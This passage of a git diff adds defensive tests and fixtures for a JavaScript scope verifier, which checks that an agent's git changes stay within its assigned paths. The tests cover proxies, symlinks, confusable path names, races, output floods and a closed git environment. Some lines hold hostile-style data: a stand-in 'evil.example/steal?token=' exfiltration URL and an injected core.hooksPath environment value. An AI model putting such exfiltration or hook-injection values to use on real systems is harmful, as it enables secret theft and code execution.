'candidate']); + await writeAndAdd(root, 'src/copied.txt', 'unique-copy-blob-p15-0123456789\n'); + const headSha = await commit(root, 'copy'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { from: 'src/original.txt', to: 'src/copied.txt' } }); +} + +export async function createDeletionInScopeRepo() { + const root = await emptyRepo('p15-delete-'); + await writeAndAdd(root, 'src/gone.txt', 'delete-me\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/gone.txt']); + const headSha = await commit(root, 'delete'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { deleted: 'src/gone.txt' } }); +} + +export async function createOverlapRepo() { + const root = await emptyRepo('p15-overlap-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + await writeAndAdd(root, 'docs/readme.txt', 'docs\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'docs/taken.txt', 'overlap\n'); + const headSha = await commit(root, 'overlap'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { files: ['docs/taken.txt'] } }); +} + +export async function createMergeCommitRepo() { + const root = await emptyRepo('p15-merge-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['checkout', '-b', 'candidate']); + await runFixtureGit(root, ['checkout', '-b', 'topic']); + await writeAndAdd(root, 'src/topic.txt', 'topic\n'); + await commit(root, 'topic'); + await runFixtureGit(root, ['checkout', 'candidate']); + await writeAndAdd(root, 'src/mainline.txt', 'mainline\n'); + await commit(root, 'mainline'); + await runFixtureGit(root, [ + 'merge', '--no-ff', '--no-edit', '-m', `merge ${root}`, 'topic', + ]); + const headSha = await runFixtureGit(root, ['rev-parse', 'HEAD']); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: {} }); +} + +export async function createHistoricalMergeRepo() { + const merge = await createMergeCommitRepo(); + await runFixtureGit(merge.path, ['checkout', 'candidate']); + await writeAndAdd(merge.path, 'src/after-merge.txt', 'later\n'); + const headSha = await commit(merge.path, 'after-merge'); + await runFixtureGit(merge.path, ['checkout', 'main']); + merge.headSha = headSha; + merge.extra = { ...merge.extra, after: 'src/after-merge.txt' }; + return merge; +} + +export async function createSymlinkRepo() { + const root = await emptyRepo('p15-symlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await symlink('keep.txt', path.join(root, 'src', 'link.txt')); + await runFixtureGit(root, ['add', '--', 'src/link.txt']); + const headSha = await commit(root, 'symlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { link: 'src/link.txt' } }); +} + +export async function createGitlinkRepo() { + const root = await emptyRepo('p15-gitlink-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, [ + 'update-index', '--add', '--cacheinfo', `160000,${baseSha},src/vendor`, + ]); + const headSha = await commit(root, 'gitlink'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { gitlink: 'src/vendor' } }); +} + +export async function createTypeChangeRepo() { + const root = await emptyRepo('p15-typechange-'); + await writeAndAdd(root, 'src/file.txt', 'plain\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + await runFixtureGit(root, ['rm', '--', 'src/file.txt']); + await mkdir(path.join(root, 'src'), { recursive: true }); + await symlink('keep-target', path.join(root, 'src', 'file.txt')); + await runFixtureGit(root, ['add', '--', 'src/file.txt']); + const headSha = await commit(root, 'typechange'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: 'src/file.txt' } }); +} + +export async function createUnicodeNfcRepo() { + const root = await emptyRepo('p15-nfc-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfcName = 'src/caf\u00e9.txt'; + await writeAndAdd(root, nfcName, 'nfc\n'); + const headSha = await commit(root, 'nfc'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfcName } }); +} + +export async function createNonNfcRepo() { + const root = await emptyRepo('p15-nfd-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const nfdName = 'src/cafe\u0301.txt'; + await writeAndAdd(root, nfdName, 'nfd\n'); + const headSha = await commit(root, 'nfd'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: nfdName } }); +} + +export async function createConfusableSeparatorRepo() { + const root = await emptyRepo('p15-confusable-'); + await writeAndAdd(root, 'src/keep.txt', 'keep\n'); + const baseSha = await commit(root, 'base'); + await runFixtureGit(root, ['branch', '--', 'candidate']); + await runFixtureGit(root, ['checkout', 'candidate']); + const hostile = `src/look${String.fromCodePoint(0x2215)}alike.txt`; + await writeAndAdd(root, hostile, 'confusable\n'); + const headSha = await commit(root, 'confusable'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { baseSha, headSha, extra: { path: hostile } }); +} + +export async function createUntrackedInScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'src/scratch.txt' }; + return repo; +} + +export async function createUntrackedOutOfScopeRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'docs', 'scratch.txt'), 'untracked\n', 'utf8'); + repo.extra = { ...repo.extra, untracked: 'docs/scratch.txt' }; + return repo; +} + +export async function createStagedUntrackedMixRepo() { + const repo = await createInScopeWriterRepo(); + await writeFile(path.join(repo.path, 'src', 'staged.txt'), 'staged\n', 'utf8'); + await runFixtureGit(repo.path, ['add', '--', 'src/staged.txt']); + repo.extra = { ...repo.extra, staged: 'src/staged.txt' }; + return repo; +} + +export { runFixtureGit }; diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs new file mode 100644 index 0000000..57fd616 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier-adversarial.test.mjs @@ -0,0 +1,375 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { writeFileSync } from 'node:fs'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + MAX_SCOPE_OUTPUT_BYTES, + parseScopeVerifierRequestV1, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + OTHER_ASSIGNMENT_ID, + READ_ONLY_ASSIGNMENT_ID, + countingProxy, + createConfusableSeparatorRepo, + createGitlinkRepo, + createHistoricalMergeRepo, + createInScopeWriterRepo, + createMergeCommitRepo, + createNonNfcRepo, + createOutOfScopeWriterRepo, + createRenameEscapingRepo, + createSymlinkRepo, + createTypeChangeRepo, + createUntrackedOutOfScopeRepo, + identityRequest, + scopeRequest, + trapTotal, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function assertContentFree(error, ...needles) { + const blob = `${error.code}\n${error.path}\n${error.message}`; + for (const needle of needles) { + assert.equal(blob.includes(needle), false, needle); + } +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('live proxies are denied with zero traps on the request surface', async () => { + const { proxy, counts } = countingProxy({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }); + assert.equal((await errorOf(() => parseScopeVerifierRequestV1(proxy))).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', async () => { + const { proxy, revoke } = Proxy.revocable({ + identity_request: identityRequest({ + path: '/tmp/cce-r1-scope-repo', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40), + }), + identity: {}, + access: 'writer', + write_scope: ['src/**'], + other_write_scopes: [], + }, { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = await errorOf(() => parseScopeVerifierRequestV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + let reads = 0; + Object.defineProperty(input, 'access', { + enumerable: true, + get() { + reads += 1; + return 'writer'; + }, + }); + const error = await errorOf(() => parseScopeVerifierRequestV1(input)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); +}); + +test('unverified or mismatched P14 identity is not treated as authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const failed = { + ...identity, + status: 'failed', + discrepancies: [{ + discrepancy_id: 'stale-base', + discrepancy_kind: 'integrity', + status: 'recorded', + code: 'artifact_integrity_failure', + run_id: identity.facts[0].run_id, + assignment_id: identity.facts[0].assignment_id, + sequence: 0, + claim_ids: [], + fact_ids: ['git-identity'], + artifact_digests: [], + }], + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, failed), + ))).code, 'unverified_identity'); + + const mismatched = { + ...identity, + observation: { ...identity.observation, head_sha: 'c'.repeat(40) }, + }; + assert.equal((await errorOf(() => parseScopeVerifierRequestV1( + scopeRequest(repo, mismatched), + ))).code, 'identity_mismatch'); +}); + +test('provider claims cannot be supplied as scope authority', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const error = await errorOf(() => parseScopeVerifierRequestV1({ + ...scopeRequest(repo, identity), + claims: [{ claim_kind: 'files_changed', path_count: 1 }], + })); + assert.equal(error.code, 'unknown_key'); +}); + +test('merge commits and later commits on merged history fail closed', async (t) => { + const merge = await createMergeCommitRepo(); + t.after(() => merge.cleanup()); + const mergeIdentity = await identityOf(merge); + const mergeResult = await verifyScopeV1(scopeRequest(merge, mergeIdentity)); + assert.equal(mergeResult.status, 'failed'); + assert.equal(discrepancyIds(mergeResult).includes('merge-commit'), true); + parseEvidenceDiscrepancyV1({ ...mergeResult.discrepancies[0] }); + parseVerifiedFactV1({ ...mergeResult.facts[1] }); + + const historical = await createHistoricalMergeRepo(); + t.after(() => historical.cleanup()); + const historicalIdentity = await identityOf(historical); + const historicalResult = await verifyScopeV1(scopeRequest(historical, historicalIdentity)); + assert.equal(historicalResult.status, 'failed'); + assert.equal(discrepancyIds(historicalResult).includes('merge-commit'), true); +}); + +test('symlink, gitlink, and type-change operations fail as security discrepancies', async (t) => { + const linked = await createSymlinkRepo(); + t.after(() => linked.cleanup()); + const linkedIdentity = await identityOf(linked); + const linkedResult = await verifyScopeV1(scopeRequest(linked, linkedIdentity)); + assert.equal(linkedResult.status, 'failed'); + assert.equal(discrepancyIds(linkedResult).includes('symlink-change'), true); + + const gitlink = await createGitlinkRepo(); + t.after(() => gitlink.cleanup()); + const gitlinkIdentity = await identityOf(gitlink); + const gitlinkResult = await verifyScopeV1(scopeRequest(gitlink, gitlinkIdentity)); + assert.equal(gitlinkResult.status, 'failed'); + assert.equal(discrepancyIds(gitlinkResult).includes('submodule-change'), true); + + const typeChange = await createTypeChangeRepo(); + t.after(() => typeChange.cleanup()); + const typeIdentity = await identityOf(typeChange); + const typeResult = await verifyScopeV1(scopeRequest(typeChange, typeIdentity)); + assert.equal(typeResult.status, 'failed'); + const typeIds = discrepancyIds(typeResult); + assert.equal(typeIds.includes('type-change') || typeIds.includes('symlink-change'), true); +}); + +test('renames that escape the owned scope fail as a mismatch', async (t) => { + const repo = await createRenameEscapingRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + const blob = JSON.stringify(result); + assert.equal(blob.includes('escaped.txt'), false); +}); + +test('non-NFC and confusable separator paths fail closed without echoing bytes', async (t) => { + const nfd = await createNonNfcRepo(); + t.after(() => nfd.cleanup()); + const nfdIdentity = await identityOf(nfd); + const nfdError = await errorOf(() => verifyScopeV1(scopeRequest(nfd, nfdIdentity))); + assert.equal(nfdError.code, 'hostile_name_denied'); + assertContentFree(nfdError, nfd.extra.path, '\u0301', 'cafe'); + + const confusable = await createConfusableSeparatorRepo(); + t.after(() => confusable.cleanup()); + const confusableIdentity = await identityOf(confusable); + const confusableError = await errorOf( + () => verifyScopeV1(scopeRequest(confusable, confusableIdentity)), + ); + assert.equal(confusableError.code, 'hostile_name_denied'); + assertContentFree( + confusableError, confusable.extra.path, String.fromCodePoint(0x2215), 'look', + ); +}); + +test('untracked files outside the owned scope fail as a mismatch', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('pre/post observation races fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let statusCount = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + if (Array.isArray(args) && args.includes('status')) { + statusCount += 1; + if (statusCount === 2) { + writeFileSync(`${repo.path}/src/raced.txt`, 'race\n'); + } + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'observation_race'); + assertContentFree(error, 'raced.txt', 'src/raced.txt'); +}); + +test('output bounds kill hostile git writers without reflecting content', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + let calls = 0; + const error = await errorOf(() => verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls += 1; + if (Array.isArray(args) && args.includes('diff-tree')) { + return nodeSpawn('/usr/bin/yes', ['x'.repeat(64)], { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + }); + } + return nodeSpawn(command, args, options); + }, + })); + assert.equal(error.code, 'bounds_exceeded'); + assert.equal(error.message.includes('x'.repeat(16)), false); + assert.ok(MAX_SCOPE_OUTPUT_BYTES > 4096); + assert.ok(calls > 0); +}); + +test('injected child stream accessors fail closed without native errors', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const request = scopeRequest(repo, identity); + function afterIdentity(hostileChild) { + let calls = 0; + return (command, args, options) => { + calls += 1; + if (calls < 8) return nodeSpawn(command, args, options); + if (Array.isArray(args) && args.includes('diff-tree')) return hostileChild; + return nodeSpawn(command, args, options); + }; + } + const accessorError = await errorOf(() => verifyScopeV1(request, { + spawn: afterIdentity({ + stdout: { + get on() { throw new Error('https://evil.example/steal?token=SECRET'); }, + }, + stderr: { on() { return this; } }, + kill() {}, + once() {}, + }), + })); + assert.ok( + accessorError.code === 'git_execution_failed' || accessorError.code === 'proxy_denied' + || accessorError.code === 'observation_race', + ); + assertContentFree(accessorError, 'SECRET', 'evil.example', 'steal'); +}); + +test('read-only untracked dirt is a mutation, not a silent pass', async (t) => { + const repo = await createUntrackedOutOfScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); +}); + +test('other_write_scopes cannot alias this assignment or carry extra keys', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const self = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: identity.facts[0].assignment_id, + write_scope: ['docs/**'], + }], + }))); + assert.equal(self.code, 'conflicting_id'); + const extra = await errorOf(() => parseScopeVerifierRequestV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: ['docs/**'], + extra: true, + }], + }))); + assert.equal(extra.code, 'unknown_key'); +}); + +test('closed protocol and config env is forced on every P15 git spawn', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + assert.equal(options.env, GIT_CLOSED_ENV); + assert.equal(options.env.GIT_ALLOW_PROTOCOL, ''); + assert.equal(options.env.GIT_PROTOCOL_FROM_USER, '0'); + assert.equal(options.env.GIT_CONFIG_NOSYSTEM, '1'); + assert.equal(options.env.GIT_CONFIG_GLOBAL, '/dev/null'); + assert.equal(options.env.GIT_CONFIG_SYSTEM, '/dev/null'); + assert.equal(Object.hasOwn(options.env, 'GIT_CONFIG'), false); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs new file mode 100644 index 0000000..218a6c7 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs @@ -0,0 +1,351 @@ +import assert from 'node:assert/strict'; +import { spawn as nodeSpawn } from 'node:child_process'; +import test from 'node:test'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + verifyGitIdentityV1, +} from '../mcp/v3/git-identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + parseScopeVerifierRequestV1, + SCOPE_VERIFIER_ERROR_CODES, + SCOPE_VERIFIER_SCHEMA_ID, + SCOPE_VERIFIER_VERSION, + verifyScopeV1, +} from '../mcp/v3/scope-verifier.mjs'; +import { + ASSIGNMENT_ID, + BASE_REF, + OTHER_ASSIGNMENT_ID, + OTHER_WRITE_SCOPE, + READ_ONLY_ASSIGNMENT_ID, + RUN_ID, + WRITE_SCOPE, + createCopyInScopeRepo, + createDeletionInScopeRepo, + createInScopeWriterRepo, + createOutOfScopeWriterRepo, + createOverlapRepo, + createReadOnlyUnchangedRepo, + createRenameInScopeRepo, + createStagedUntrackedMixRepo, + createUnicodeNfcRepo, + createUntrackedInScopeRepo, + identityRequest, + scopeRequest, +} from './fixtures/r1-scope-verifier-fixtures.mjs'; + +function errorOf(action, expectedPath) { + return Promise.resolve() + .then(() => action()) + .then( + () => assert.fail('expected a typed RunContractV1Error'), + (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + }, + ); +} + +function discrepancyIds(result) { + return result.discrepancies.map((entry) => entry.discrepancy_id); +} + +function gitCommandOf(args) { + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + index += 1; + continue; + } + if (typeof arg === 'string' && !arg.startsWith('-')) return arg; + } + return undefined; +} + +async function identityOf(repo, overrides = {}) { + return verifyGitIdentityV1(identityRequest(repo, overrides)); +} + +test('schema identity is additive v1 and does not claim later-wave ownership', () => { + assert.equal(SCOPE_VERIFIER_SCHEMA_ID, 'codex-co-engineer.scope-verifier.v1'); + assert.equal(SCOPE_VERIFIER_VERSION, 1); + assert.equal(Object.isFrozen(SCOPE_VERIFIER_ERROR_CODES), true); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(SCOPE_VERIFIER_SCHEMA_ID.includes('p16'), false); +}); + +test('a valid request parses into a frozen detached snapshot', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const input = scopeRequest(repo, identity); + const snapshot = parseScopeVerifierRequestV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.equal(Object.isFrozen(snapshot.write_scope), true); + assert.equal(Object.isFrozen(snapshot.identity), true); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); + input.access = 'read_only'; + input.write_scope.push('docs/**'); + assert.equal(snapshot.access, 'writer'); + assert.deepEqual([...snapshot.write_scope], [...WRITE_SCOPE]); +}); + +test('required keys, extra keys, and hidden defaults fail closed', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const base = scopeRequest(repo, identity); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ ...base, extra: true }))).code, + 'unknown_key', + ); + const missing = { ...base }; + delete missing.other_write_scopes; + assert.equal( + (await errorOf( + () => parseScopeVerifierRequestV1(missing), 'scope.other_write_scopes', + )).code, + 'missing_key', + ); + assert.equal( + (await errorOf(() => parseScopeVerifierRequestV1({ + ...base, access: 'read_only', write_scope: ['src/**'], + }))).code, + 'out_of_range', + ); +}); + +test('an in-scope writer verifies independently into P13 git_diff facts', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.schema, SCOPE_VERIFIER_SCHEMA_ID); + assert.equal(result.status, 'verified'); + assert.equal(result.discrepancies.length, 0); + assert.equal(result.facts.length, 2); + assert.equal(result.observation.base_sha, repo.baseSha); + assert.equal(result.observation.head_sha, repo.headSha); + assert.equal(result.observation.access, 'writer'); + assert.equal(result.observation.parent_count, 1); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].fact_kind, 'git_diff'); + assert.equal(result.facts[0].status, 'verified'); + assert.equal(result.facts[0].authority, 'platform_git'); + assert.equal(result.facts[0].method, 'scope_match'); + assert.equal(result.facts[0].payload.path_count, result.observation.path_count); + assert.equal(result.facts[0].payload.path_set_digest, result.observation.path_set_digest); + assert.equal(result.facts[1].fact_kind, 'head_sha'); + assert.equal(result.facts[1].method, 'merge_commit_absence'); + assert.equal(result.facts[1].payload.sha, repo.headSha); + assert.deepEqual(parseVerifiedFactV1({ ...result.facts[0] }).payload, result.facts[0].payload); + parseVerifiedFactV1({ ...result.facts[1] }); + assert.equal(Object.isFrozen(result), true); + assert.equal(Object.isFrozen(result.facts), true); + assert.equal(Object.isFrozen(result.observation), true); +}); + +test('additions, deletions, in-scope renames, and copies stay owned', async (t) => { + const rename = await createRenameInScopeRepo(); + t.after(() => rename.cleanup()); + const renameIdentity = await identityOf(rename); + const renameResult = await verifyScopeV1(scopeRequest(rename, renameIdentity)); + assert.equal(renameResult.status, 'verified'); + assert.equal(renameResult.observation.rename_count >= 1, true); + + const copy = await createCopyInScopeRepo(); + t.after(() => copy.cleanup()); + const copyIdentity = await identityOf(copy); + const copyResult = await verifyScopeV1(scopeRequest(copy, copyIdentity)); + assert.equal(copyResult.status, 'verified'); + assert.equal(copyResult.observation.path_count >= 1, true); + + const deletion = await createDeletionInScopeRepo(); + t.after(() => deletion.cleanup()); + const deletionIdentity = await identityOf(deletion); + const deletionResult = await verifyScopeV1(scopeRequest(deletion, deletionIdentity)); + assert.equal(deletionResult.status, 'verified'); + assert.equal(deletionResult.observation.path_count >= 1, true); +}); + +test('changed paths outside the trusted write_scope fail as a discrepancy', async (t) => { + const repo = await createOutOfScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('scope-mismatch'), true); + assert.equal(result.facts[0].status, 'failed'); + parseEvidenceDiscrepancyV1({ ...result.discrepancies[0] }); +}); + +test('paths owned by another assignment fail as overlap', async (t) => { + const repo = await createOverlapRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + other_write_scopes: [{ + assignment_id: OTHER_ASSIGNMENT_ID, + write_scope: [...OTHER_WRITE_SCOPE], + }], + })); + assert.equal(result.status, 'failed'); + const ids = discrepancyIds(result); + assert.equal(ids.includes('scope-overlap'), true); + assert.equal(ids.includes('scope-mismatch'), true); +}); + +test('read-only assignments with no candidate mutations verify', async (t) => { + const repo = await createReadOnlyUnchangedRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count, 0); + assert.equal(result.observation.dirty, false); + assert.equal(result.facts[0].method, 'read_only_no_changes'); + assert.equal(result.facts[0].payload.path_count, 0); + assert.equal(result.facts[1].method, 'merge_commit_absence'); +}); + +test('read-only assignments reject candidate mutations', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo, { assignment_id: READ_ONLY_ASSIGNMENT_ID }); + const result = await verifyScopeV1(scopeRequest(repo, identity, { + assignment_id: READ_ONLY_ASSIGNMENT_ID, + access: 'read_only', + write_scope: [], + })); + assert.equal(result.status, 'failed'); + assert.equal(discrepancyIds(result).includes('read-only-mutation'), true); + assert.equal(result.observation.path_count >= 1, true); +}); + +test('NFC Unicode paths in scope verify without reflecting the bytes', async (t) => { + const repo = await createUnicodeNfcRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.path_count >= 1, true); + assert.equal(JSON.stringify(result).includes(repo.extra.path), false); +}); + +test('tracked index mutations join the content-free path set', async (t) => { + const repo = await createStagedUntrackedMixRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(result.observation.path_count >= 2, true); +}); + +test('untracked in-scope files join ownership without leaking names', async (t) => { + const repo = await createUntrackedInScopeRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(result.observation.dirty, true); + assert.equal(JSON.stringify(result).includes('scratch.txt'), false); +}); + +test('git runs as argv without shell and with a closed environment', async (t) => { + const repo = await createInScopeWriterRepo(); + t.after(() => repo.cleanup()); + const identity = await identityOf(repo); + const calls = []; + const previousGitDir = process.env.GIT_DIR; + const previousConfig = process.env.GIT_CONFIG_PARAMETERS; + process.env.GIT_DIR = '/tmp/hostile-git-dir'; + process.env.GIT_CONFIG_PARAMETERS = "'core.hooksPath=/tmp/hooks'"; + try { + const result = await verifyScopeV1(scopeRequest(repo, identity), { + spawn(command, args, options) { + calls.push({ command, args, options }); + return nodeSpawn(command, args, options); + }, + }); + assert.equal(result.status, 'verified'); + } finally { + if (previousGitDir === undefined) delete process.env.GIT_DIR; + else process.env.GIT_DIR = previousGitDir; + if (previousConfig === undefined) delete process.env.GIT_CONFIG_PARAMETERS; + else process.env.GIT_CONFIG_PARAMETERS = previousConfig; + } + assert.ok(calls.length > 0); + const mutating = new Set([ + 'add', 'am', 'apply', 'checkout', 'cherry-pick', 'clean', 'clone', 'commit', + 'fetch', 'init', 'merge', 'pull', 'push', 'rebase', 'replace', 'reset', + 'revert', 'rm', 'stash', 'tag', 'update-index', 'worktree', + ]); + for (const call of calls) { + assert.equal(call.command, GIT_EXECUTABLE); + assert.equal(call.options.cwd, '/'); + assert.equal(call.options.env, GIT_CLOSED_ENV); + assert.equal(call.options.env.GIT_CONFIG_NOSYSTEM, '1'); + 